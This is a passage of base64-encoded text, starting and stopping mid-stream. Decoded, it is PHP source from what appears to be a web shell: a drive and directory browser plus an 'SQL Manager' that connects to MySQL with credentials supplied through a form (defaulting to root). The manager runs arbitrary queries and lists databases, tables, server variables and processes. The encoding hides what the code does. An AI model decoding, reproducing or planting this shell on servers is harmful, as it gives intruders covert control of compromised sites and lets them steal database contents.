Z2UoImEiLCJ6IikgYXMgJGxldHRlcikNCiB7DQogICRib29sID0gJGlzZGlza2V0dGUgPSBpbl9hcnJheSgkbGV0dGVyLCRzYWZlbW9kZV9kaXNrZXR0ZXMpOw0KICBpZiAoISRib29sKSB7JGJvb2wgPSBpc19kaXIoJGxldHRlci4iOlxcIik7fQ0KICBpZiAoJGJvb2wpDQogIHsNCiAgICRsZXR0ZXJzIC49ICI8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC50b2RvLmFjdC52YWx1ZT0nbHMnO2RvY3VtZW50LnRvZG8uZC52YWx1ZT0nIi51cmxlbmNvZGUoJGxldHRlci4iOlxcIikuIic7ZG9jdW1lbnQudG9kby5zdWJtaXQoKTtcIj5bICI7DQogICBpZiAoJGxldHRlci4iOiIgIT0gJHYpIHskbGV0dGVycyAuPSAkbGV0dGVyO30NCiAgIGVsc2UgeyRsZXR0ZXJzIC49ICI8Zm9udCBjb2xvcj1ncmVlbj4iLiRsZXR0ZXIuIjwvZm9udD4iO30NCiAgICRsZXR0ZXJzIC49ICIgXTwvYT4gIjsNCiAgfQ0KIH0NCiBpZiAoIWVtcHR5KCRsZXR0ZXJzKSkge2VjaG8gIjxiPkRldGVjdGVkIGRyaXZlczwvYj46ICIuJGxldHRlcnMuIjxicj4iO30NCn0NCmlmIChjb3VudCgkcXVpY2tsYXVuY2gpID4gMCkNCnsNCiBmb3JlYWNoKCRxdWlja2xhdW5jaCBhcyAkaXRlbSkNCiB7DQogICRpdGVtWzFdID0gc3RyX3JlcGxhY2UoIiVkIix1cmxlbmNvZGUoJGQpLCRpdGVtWzFdKTsNCiAgJGl0ZW1bMV0gPSBzdHJfcmVwbGFjZSgiJXNvcnQiLCRzb3J0LCRpdGVtWzFdKTsNCiAgJHYgPSByZWFscGF0aCgkZC4iLi4iKTsNCiAgaWYgKGVtcHR5KCR2KSkgeyRhID0gZXhwbG9kZShESVJFQ1RPUllfU0VQQVJBVE9SLCRkKTsgdW5zZXQoJGFbY291bnQoJGEpLTJdKTsgJHYgPSBqb2luKERJUkVDVE9SWV9TRVBBUkFUT1IsJGEpO30NCiAgJGl0ZW1bMV0gPSBzdHJfcmVwbGFjZSgiJXVwZCIsdXJsZW5jb2RlKCR2KSwkaXRlbVsxXSk7DQoNCiAgZWNobyAiPGEgaHJlZj1cIiIuJGl0ZW1bMV0uIlwiPiIuJGl0ZW1bMF0uIjwvYT4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsiOw0KIH0NCn0NCmVjaG8gIjwvcD48L3RkPjwvdHI+PC90YWJsZT48YnI+IjsNCmlmICgoIWVtcHR5KCRkb25hdGVkX2h0bWwpKSBhbmQgKGluX2FycmF5KCRhY3QsJGRvbmF0ZWRfYWN0KSkpIHtlY2hvICI8VEFCTEUgc3R5bGU9XCJCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlXCIgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IHdpZHRoPVwiMTAwJVwiIGJnQ29sb3I9IzMzMzMzMyBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+PHRyPjx0ZCB3aWR0aD1cIjEwMCVcIiB2YWxpZ249XCJ0b3BcIj4iLiRkb25hdGVkX2h0bWwuIjwvdGQ+PC90cj48L3RhYmxlPjxicj4iO30NCmVjaG8gIjxUQUJMRSBzdHlsZT1cIkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2VcIiBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgd2lkdGg9XCIxMDAlXCIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT48dHI+PHRkIHdpZHRoPVwiMTAwJVwiIHZhbGlnbj1cInRvcFwiPiI7DQppZiAoJGFjdCA9PSAiIikgeyRhY3QgPSAkZHNwYWN0ID0gImxzIjt9DQppZiAoJGFjdCA9PSAic3FsIikNCnsNCiBlY2hvKCI8Zm9ybSBuYW1lPSdzcWwnIG1ldGhvZD0nUE9TVCc+PGlucHV0IG5hbWU9J2FjdCcgdHlwZT0naGlkZGVuJyB2YWx1ZT0nc3FsJz48aW5wdXQgbmFtZT0nc3FsX3RibF9pbnNlcnRfcScgdHlwZT0naGlkZGVuJyB2YWx1ZT0nJz48aW5wdXQgbmFtZT0nc3FsX2xvZ2luJyB0eXBlPSdoaWRkZW4nIHZhbHVlPScnPjxpbnB1dCBuYW1lPSdraWxsJyB0eXBlPSdoaWRkZW4nIHZhbHVlPScnPjxpbnB1dCBuYW1lPSdzcWxfb3JkZXInIHR5cGU9J2hpZGRlbicgdmFsdWU9Jyc+PGlucHV0IG5hbWU9J3NxbF90YmxfbHMnIHR5cGU9J2hpZGRlbicgdmFsdWU9Jyc+PGlucHV0IG5hbWU9J3NxbF90YmxfbGUnIHR5cGU9J2hpZGRlbicgdmFsdWU9Jyc+PGlucHV0IG5hbWU9J3NxbF90YmxfYWN0JyB0eXBlPSdoaWRkZW4nIHZhbHVlPScnPjxpbnB1dCBuYW1lPSd0aGlzdGJsJyB0eXBlPSdoaWRkZW4nIHZhbHVlPScnPjxpbnB1dCBuYW1lPSdzcWxfcGFzc3dkJyB0eXBlPSdoaWRkZW4nIHZhbHVlPScnPjxpbnB1dCBuYW1lPSdzcWxfc2VydmVyJyB0eXBlPSdoaWRkZW4nIHZhbHVlPScnPjxpbnB1dCBuYW1lPSdzcWxfcG9ydCcgdHlwZT0naGlkZGVuJyB2YWx1ZT0nJz48aW5wdXQgbmFtZT0nc3FsX2RiJyB0eXBlPSdoaWRkZW4nIHZhbHVlPScnPjxpbnB1dCBuYW1lPSdzcWxfYWN0JyB0eXBlPSdoaWRkZW4nIHZhbHVlPScnPjxpbnB1dCBuYW1lPSdzcWxfdGJsJyB0eXBlPSdoaWRkZW4nIHZhbHVlPScnPjxpbnB1dCBuYW1lPSdmJyB0eXBlPSdoaWRkZW4nIHZhbHVlPScnPjxpbnB1dCBuYW1lPSdmdCcgdHlwZT0naGlkZGVuJyB2YWx1ZT0nJz48aW5wdXQgbmFtZT0nc3FsX3F1ZXJ5JyB0eXBlPSdoaWRkZW4nIHZhbHVlPScnPjwvZm9ybT4iKTsNCg0KIGlmIChpc3NldCgkX1BPU1RbJ3NxbF9sb2dpbiddKSkgIHskc3FsX2xvZ2luPWh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfbG9naW4nXSk7fQ0KIGlmIChpc3NldCgkX1BPU1RbJ3NxbF9wYXNzd2QnXSkpIHskc3FsX3Bhc3N3ZD1odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX3Bhc3N3ZCddKTt9DQogaWYgKGlzc2V0KCRfUE9TVFsnc3FsX3NlcnZlciddKSkgeyRzcWxfc2VydmVyPWh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfc2VydmVyJ10pO30NCiBpZiAoaXNzZXQoJF9QT1NUWydzcWxfcG9ydCddKSkgICB7JHNxbF9wb3J0PWh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfcG9ydCddKTt9DQogaWYgKGlzc2V0KCRfUE9TVFsnc3FsX2RiJ10pKSAgICAgeyRzcWxfZGI9aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9kYiddKTt9DQogaWYgKGlzc2V0KCRfUE9TVFsnc3FsX2FjdCddKSkgICAgIHskc3FsX2FjdD1odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX2FjdCddKTt9DQogaWYgKGlzc2V0KCRfUE9TVFsnc3FsX3RibCddKSkgICAgIHskc3FsX3RibD1odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX3RibCddKTt9DQogaWYgKGlzc2V0KCRfUE9TVFsnc3FsX3RibF9hY3QnXSkpICAgICB7JHNxbF90YmxfYWN0PWh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfdGJsX2FjdCddKTt9DQogaWYgKGlzc2V0KCRfUE9TVFsndGhpc3RibCddKSkgICAgIHskdGhpc3RibD1odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsndGhpc3RibCddKTt9DQogaWYgKGlzc2V0KCRfUE9TVFsnc3FsX29yZGVyJ10pKSAgICAgeyRzcWxfb3JkZXI9aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9vcmRlciddKTt9DQogaWYgKGlzc2V0KCRfUE9TVFsnc3FsX3RibF9scyddKSkgICAgIHskc3FsX3RibF9scz1odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX3RibF9scyddKTt9DQogaWYgKGlzc2V0KCRfUE9TVFsnc3FsX3RibF9sZSddKSkgICAgIHskc3FsX3RibF9sZT1odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX3RibF9sZSddKTt9DQogaWYgKGlzc2V0KCRfUE9TVFsnc3FsX3F1ZXJ5J10pKSAgICAgeyRzcWxfcXVlcnk9aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9xdWVyeSddKTt9DQogaWYgKGlzc2V0KCRfUE9TVFsnc3FsX3RibF9pbnNlcnRfcSddKSkgeyRzcWxfdGJsX2luc2VydF9xPXVybGRlY29kZShodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX3RibF9pbnNlcnRfcSddKSk7fQ0KIGlmIChpc3NldCgkX1BPU1RbJ3NxbF90YmxfaW5zZXJ0X2Z1bmN0cyddKSkgeyRzcWxfdGJsX2luc2VydF9mdW5jdHM9aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF90YmxfaW5zZXJ0X2Z1bmN0cyddKTt9DQogaWYgKGlzc2V0KCRfUE9TVFsnc3FsX3RibF9pbnNlcnRfcmFkaW8nXSkpIHskc3FsX3RibF9pbnNlcnRfcmFkaW89aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF90YmxfaW5zZXJ0X3JhZGlvJ10pO30NCg0KDQoNCiA/PjxUQUJMRSBzdHlsZT0iQk9SREVSLUNPTExBUFNFOiBjb2xsYXBzZSIgaGVpZ2h0PTEgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IHdpZHRoPSIxMDAlIiBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xIGJvcmRlcmNvbG9yPSIjQzBDMEMwIj48dHI+PHRkIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjEiIGNvbHNwYW49IjIiIHZhbGlnbj0idG9wIj48Y2VudGVyPjw/cGhwDQogaWYgKCRzcWxfc2VydmVyKQ0KIHsNCiAgJHNxbF9zb2NrID0gbXlzcWxfY29ubmVjdCgkc3FsX3NlcnZlci4iOiIuJHNxbF9wb3J0LCAkc3FsX2xvZ2luLCAkc3FsX3Bhc3N3ZCk7DQogICRlcnIgPSBteXNxbF9zbWFydGVycm9yKCk7DQogIEBteXNxbF9zZWxlY3RfZGIoJHNxbF9kYiwkc3FsX3NvY2spOw0KICBpZiAoJHNxbF9xdWVyeSBhbmQgJHN1Ym1pdCkgeyRzcWxfcXVlcnlfcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHNxbF9xdWVyeSwkc3FsX3NvY2spOyAkc3FsX3F1ZXJ5X2Vycm9yID0gbXlzcWxfc21hcnRlcnJvcigpO30NCiB9DQogZWxzZSB7JHNxbF9zb2NrID0gRkFMU0U7fQ0KIGVjaG8gIjxiPlNRTCBNYW5hZ2VyOjwvYj48YnI+IjsNCiBpZiAoISRzcWxfc29jaykNCiB7DQogIGlmICghJHNxbF9zZXJ2ZXIpIHtlY2hvICJOTyBDT05ORUNUSU9OIjt9DQogIGVsc2Uge2VjaG8gIjxjZW50ZXI+PGI+Q2FuJ3QgY29ubmVjdDwvYj48L2NlbnRlcj4iOyBlY2hvICI8Yj4iLiRlcnIuIjwvYj4iO30NCiB9DQogZWxzZQ0KIHsNCiAgJHNxbHF1aWNrbGF1bmNoID0gYXJyYXkoKTsNCiAgJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgiSW5kZXgiLCIjXCIgb25jbGljaz1cImRvY3VtZW50LnNxbC5hY3QudmFsdWU9J3NxbCc7ZG9jdW1lbnQuc3FsLnNxbF9sb2dpbi52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiInO2RvY3VtZW50LnNxbC5zcWxfcGFzc3dkLnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiInO2RvY3VtZW50LnNxbC5zcWxfc2VydmVyLnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiInO2RvY3VtZW50LnNxbC5zcWxfcG9ydC52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIic7ZG9jdW1lbnQuc3FsLnN1Ym1pdCgpOyIpOw0KICAkc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJRdWVyeSIsIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQuc3FsLmFjdC52YWx1ZT0nc3FsJztkb2N1bWVudC5zcWwuc3FsX2FjdC52YWx1ZT0ncXVlcnknO2RvY3VtZW50LnNxbC5zcWxfZGIudmFsdWU9JyIudXJsZW5jb2RlKCRzcWxfZGIpLiInO2RvY3VtZW50LnNxbC5zcWxfdGJsLnZhbHVlPSciLnVybGVuY29kZSgkc3FsX3RibCkuIic7ZG9jdW1lbnQuc3FsLnNxbF9sb2dpbi52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiInO2RvY3VtZW50LnNxbC5zcWxfcGFzc3dkLnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiInO2RvY3VtZW50LnNxbC5zcWxfc2VydmVyLnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiInO2RvY3VtZW50LnNxbC5zcWxfcG9ydC52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIic7ZG9jdW1lbnQuc3FsLnN1Ym1pdCgpOyIpOw0KICAkc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJTZXJ2ZXItc3RhdHVzIiwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC5zcWwuYWN0LnZhbHVlPSdzcWwnO2RvY3VtZW50LnNxbC5zcWxfbG9naW4udmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJztkb2N1bWVudC5zcWwuc3FsX3Bhc3N3ZC52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJztkb2N1bWVudC5zcWwuc3FsX3NlcnZlci52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJztkb2N1bWVudC5zcWwuc3FsX3BvcnQudmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiInO2RvY3VtZW50LnNxbC5zcWxfYWN0LnZhbHVlPSdzZXJ2ZXJzdGF0dXMnO2RvY3VtZW50LnNxbC5zdWJtaXQoKTsiKTsNCiAgJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgiU2VydmVyIHZhcmlhYmxlcyIsIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQuc3FsLmFjdC52YWx1ZT0nc3FsJztkb2N1bWVudC5zcWwuc3FsX2xvZ2luLnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIic7ZG9jdW1lbnQuc3FsLnNxbF9wYXNzd2QudmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIic7ZG9jdW1lbnQuc3FsLnNxbF9zZXJ2ZXIudmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIic7ZG9jdW1lbnQuc3FsLnNxbF9wb3J0LnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJztkb2N1bWVudC5zcWwuc3FsX2FjdC52YWx1ZT0nc2VydmVydmFycyc7ZG9jdW1lbnQuc3FsLnN1Ym1pdCgpOyIpOw0KICAkc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJQcm9jZXNzZXMiLCIjXCIgb25jbGljaz1cImRvY3VtZW50LnNxbC5hY3QudmFsdWU9J3NxbCc7ZG9jdW1lbnQuc3FsLnNxbF9sb2dpbi52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiInO2RvY3VtZW50LnNxbC5zcWxfcGFzc3dkLnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiInO2RvY3VtZW50LnNxbC5zcWxfc2VydmVyLnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiInO2RvY3VtZW50LnNxbC5zcWxfcG9ydC52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIic7ZG9jdW1lbnQuc3FsLnNxbF9hY3QudmFsdWU9J3Byb2Nlc3Nlcyc7ZG9jdW1lbnQuc3FsLnN1Ym1pdCgpOyIpOw0KICAkc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJMb2dvdXQiLCIjXCIgb25jbGljaz1cImRvY3VtZW50LnNxbC5hY3QudmFsdWU9J3NxbCc7ZG9jdW1lbnQuc3FsLnN1Ym1pdCgpOyIpOw0KICBlY2hvICI8Y2VudGVyPjxiPk15U1FMICIubXlzcWxfZ2V0X3NlcnZlcl9pbmZvKCkuIiAocHJvdG8gdi4iLm15c3FsX2dldF9wcm90b19pbmZvICgpLiIpIHJ1bm5pbmcgaW4gIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iOiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiIgYXMgIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiJAIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iIChwYXNzd29yZCAtIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iXCIpPC9iPjxicj4iOw0KICBpZiAoY291bnQoJHNxbHF1aWNrbGF1bmNoKSA+IDApIHtmb3JlYWNoKCRzcWxxdWlja2xhdW5jaCBhcyAkaXRlbSkge2VjaG8gIlsgPGEgaHJlZj1cIiIuJGl0ZW1bMV0uIlwiPjxiPiIuJGl0ZW1bMF0uIjwvYj48L2E+IF0gIjt9fQ0KICBlY2hvICI8L2NlbnRlcj4iOw0KIH0NCiBlY2hvICI8L3RkPjwvdHI+PHRyPiI7DQogaWYgKCEkc3FsX3NvY2spIHs/Pjx0ZCB3aWR0aD0iMjglIiBoZWlnaHQ9IjEwMCIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+PGZvbnQgc2l6ZT0iNSI+IGkgPC9mb250PjwvY2VudGVyPjxsaT5JZiBsb2dpbiBpcyBudWxsLCBsb2dpbiBpcyBvd25lciBvZiBwcm9jZXNzLjxsaT5JZiBob3N0IGlzIG51bGwsIGhvc3QgaXMgbG9jYWxob3N0PC9iPjxsaT5JZiBwb3J0IGlzIG51bGwsIHBvcnQgaXMgMzMwNiAoZGVmYXVsdCk8L3RkPjx0ZCB3aWR0aD0iOTAlIiBoZWlnaHQ9IjEiIHZhbGlnbj0idG9wIj48VEFCTEUgaGVpZ2h0PTEgY2VsbFNwYWNpbmc9MCBjZWxsUGFkZGluZz0wIHdpZHRoPSIxMDAlIiBib3JkZXI9MD48dHI+PHRkPiZuYnNwOzxiPlBsZWFzZSwgZmlsbCB0aGUgZm9ybTo8L2I+PHRhYmxlPjx0cj48dGQ+PGI+VXNlcm5hbWU8L2I+PC90ZD48dGQ+PGI+UGFzc3dvcmQ8L2I+Jm5ic3A7PC90ZD48dGQ+PGI+RGF0YWJhc2U8L2I+Jm5ic3A7PC90ZD48L3RyPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iIG1ldGhvZD0iUE9TVCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0IiB2YWx1ZT0ic3FsIj48dHI+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfbG9naW4iIHZhbHVlPSJyb290IiBtYXhsZW5ndGg9IjY0Ij48L3RkPjx0ZD48aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InNxbF9wYXNzd2QiIHZhbHVlPSIiIG1heGxlbmd0aD0iNjQiPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfZGIiIHZhbHVlPSIiIG1heGxlbmd0aD0iNjQiPjwvdGQ+PC90cj48dHI+PHRkPjxiPkhvc3Q8L2I+PC90ZD48dGQ+PGI+UE9SVDwvYj48L3RkPjwvdHI+PHRyPjx0ZCBhbGlnbj1yaWdodD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9ImxvY2FsaG9zdCIgbWF4bGVuZ3RoPSI2NCI+PC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9wb3J0IiB2YWx1ZT0iMzMwNiIgbWF4bGVuZ3RoPSI2IiBzaXplPSIzIj48L3RkPjx0ZD48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQ29ubmVjdCI+PC90ZD48L3RyPjx0cj48dGQ+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPjwvdGQ+PD9waHAgfQ0KIGVsc2UNCiB7DQogIC8vU3RhcnQgbGVmdCBwYW5lbA0KICBpZiAoIWVtcHR5KCRzcWxfZGIpKQ0KICB7DQogICA/Pjx0ZCB3aWR0aD0iMjUlIiBoZWlnaHQ9IjEwMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSIjIiBvbmNsaWNrPSJkb2N1bWVudC5zcWwuYWN0LnZhbHVlPSdzcWwnO2RvY3VtZW50LnNxbC5zcWxfbG9naW4udmFsdWU9Jzw/ZWNobyAoaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKSkgPz4nO2RvY3VtZW50LnNxbC5zcWxfcGFzc3dkLnZhbHVlPSc8P2VjaG8gKGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpKSA/Pic7ZG9jdW1lbnQuc3FsLnNxbF9zZXJ2ZXIudmFsdWU9Jzw/ZWNobyAoaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikpID8+Jztkb2N1bWVudC5zcWwuc3FsX3BvcnQudmFsdWU9Jzw/ZWNobyAoaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpKSA/Pic7ZG9jdW1lbnQuc3FsLnN1Ym1pdCgpOyI+PGI+SG9tZTwvYj48L2E+PGhyIHNpemU9IjEiIG5vc2hhZGU+PD9waHANCiAgICRyZXN1bHQgPSBteXNxbF9saXN0X3RhYmxlcygkc3FsX2RiKTsNCiAgIGlmICghJHJlc3VsdCkge2VjaG8gbXlzcWxfc21hcnRlcnJvcigpO30NCiAgIGVsc2UNCiAgIHsNCiAgICBlY2hvICItLS1bIDxhIGhyZWY9XCIjXCIgb25jbGljaz1cImRvY3VtZW50LnNxbC5hY3QudmFsdWU9J3NxbCc7ZG9jdW1lbnQuc3FsLnNxbF9kYi52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpLiInO2RvY3VtZW50LnNxbC5zcWxfbG9naW4udmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJztkb2N1bWVudC5zcWwuc3FsX3Bhc3N3ZC52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJztkb2N1bWVudC5zcWwuc3FsX3NlcnZlci52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJztkb2N1bWVudC5zcWwuc3FsX3BvcnQudmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiInO2RvY3VtZW50LnNxbC5zdWJtaXQoKTtcIj48Yj4iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYikuIjwvYj48L2E+IF0tLS08YnI+IjsNCiAgICAkYyA9IDA7DQogICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkgeyRjb3VudCA9IG15c3FsX3F1ZXJ5ICgiU0VMRUNUIENPVU5UKCopIEZST00gIi4kcm93WzBdKTsgJGNvdW50X3JvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRjb3VudCk7IGVjaG8gIjxiPrsmbmJzcDs8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC5zcWwuYWN0LnZhbHVlPSdzcWwnO2RvY3VtZW50LnNxbC5zcWxfbG9naW4udmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJztkb2N1bWVudC5zcWwuc3FsX3Bhc3N3ZC52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJztkb2N1bWVudC5zcWwuc3FsX3NlcnZlci52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJztkb2N1bWVudC5zcWwuc3FsX3BvcnQudmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiInO2RvY3VtZW50LnNxbC5zcWxfZGIudmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iJztkb2N1bWVudC5zcWwuc3FsX3RibC52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRyb3dbMF0pLiInO2RvY3VtZW50LnNxbC5zdWJtaXQoKTtcIj48Yj4iLmh0bWxzcGVjaWFsY2hhcnMoJHJvd1swXSkuIjwvYj48L2E+ICgiLiRjb3VudF9yb3dbMF0uIik8L2JyPjwvYj4iOyBteXNxbF9mcmVlX3Jlc3VsdCgkY291bnQpOyAkYysrO30NCiAgICBpZiAoISRjKSB7ZWNobyAiTm8gdGFibGVzIGZvdW5kIGluIGRhdGFiYXNlLiI7fQ0KICAgfQ0KICB9DQogIGVsc2UNCiAgew0KICAgPz48dGQgd2lkdGg9IjEiIGhlaWdodD0iMTAwIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iPD9waHAgZWNobyAkX1NFUlZFUlsnUEhQX1NFTEYnXTsgPz4iPjxiPkhvbWU8L2I+PC9hPjxociBzaXplPSIxIiBub3NoYWRlPjw/cGhwDQogICAkcmVzdWx0ID0gbXlzcWxfbGlzdF9kYnMoJHNxbF9zb2NrKTsNCiAgIGlmICghJHJlc3VsdCkge2VjaG8gbXlzcWxfc21hcnRlcnJvcigpO30NCiAgIGVsc2UNCiAgIHsNCiAgICA/Pjxmb3JtIG1ldGhvZD0iUE9TVCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0IiB2YWx1ZT0ic3FsIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfbG9naW4iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcGFzc3dkIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3BvcnQiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KTsgPz4iPjxzZWxlY3QgbmFtZT0ic3FsX2RiIj48P3BocA0KICAgICRjID0gMDsNCiAgICAkZGJzID0gIiI7DQogICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9yb3coJHJlc3VsdCkpIHskZGJzIC49ICI8b3B0aW9uIHZhbHVlPVwiIi4kcm93WzBdLiJcIiI7IGlmICgkc3FsX2RiID09ICRyb3dbMF0pIHskZGJzIC49ICIgc2VsZWN0ZWQiO30gJGRicyAuPSAiPiIuJHJvd1swXS4iPC9vcHRpb24+IjsgJGMrKzt9DQogICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cIlwiPkRhdGFiYXNlcyAoIi4kYy4iKTwvb3B0aW9uPiI7DQogICAgZWNobyAkZGJzOw0KICAgfQ0KICAgPz48L3NlbGVjdD48aHIgc2l6ZT0iMSIgbm9zaGFkZT5QbGVhc2UsIHNlbGVjdCBkYXRhYmFzZTxociBzaXplPSIxIiBub3NoYWRlPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHbyI+PC9mb3JtPjw/cGhwDQogIH0NCiAgLy9Fb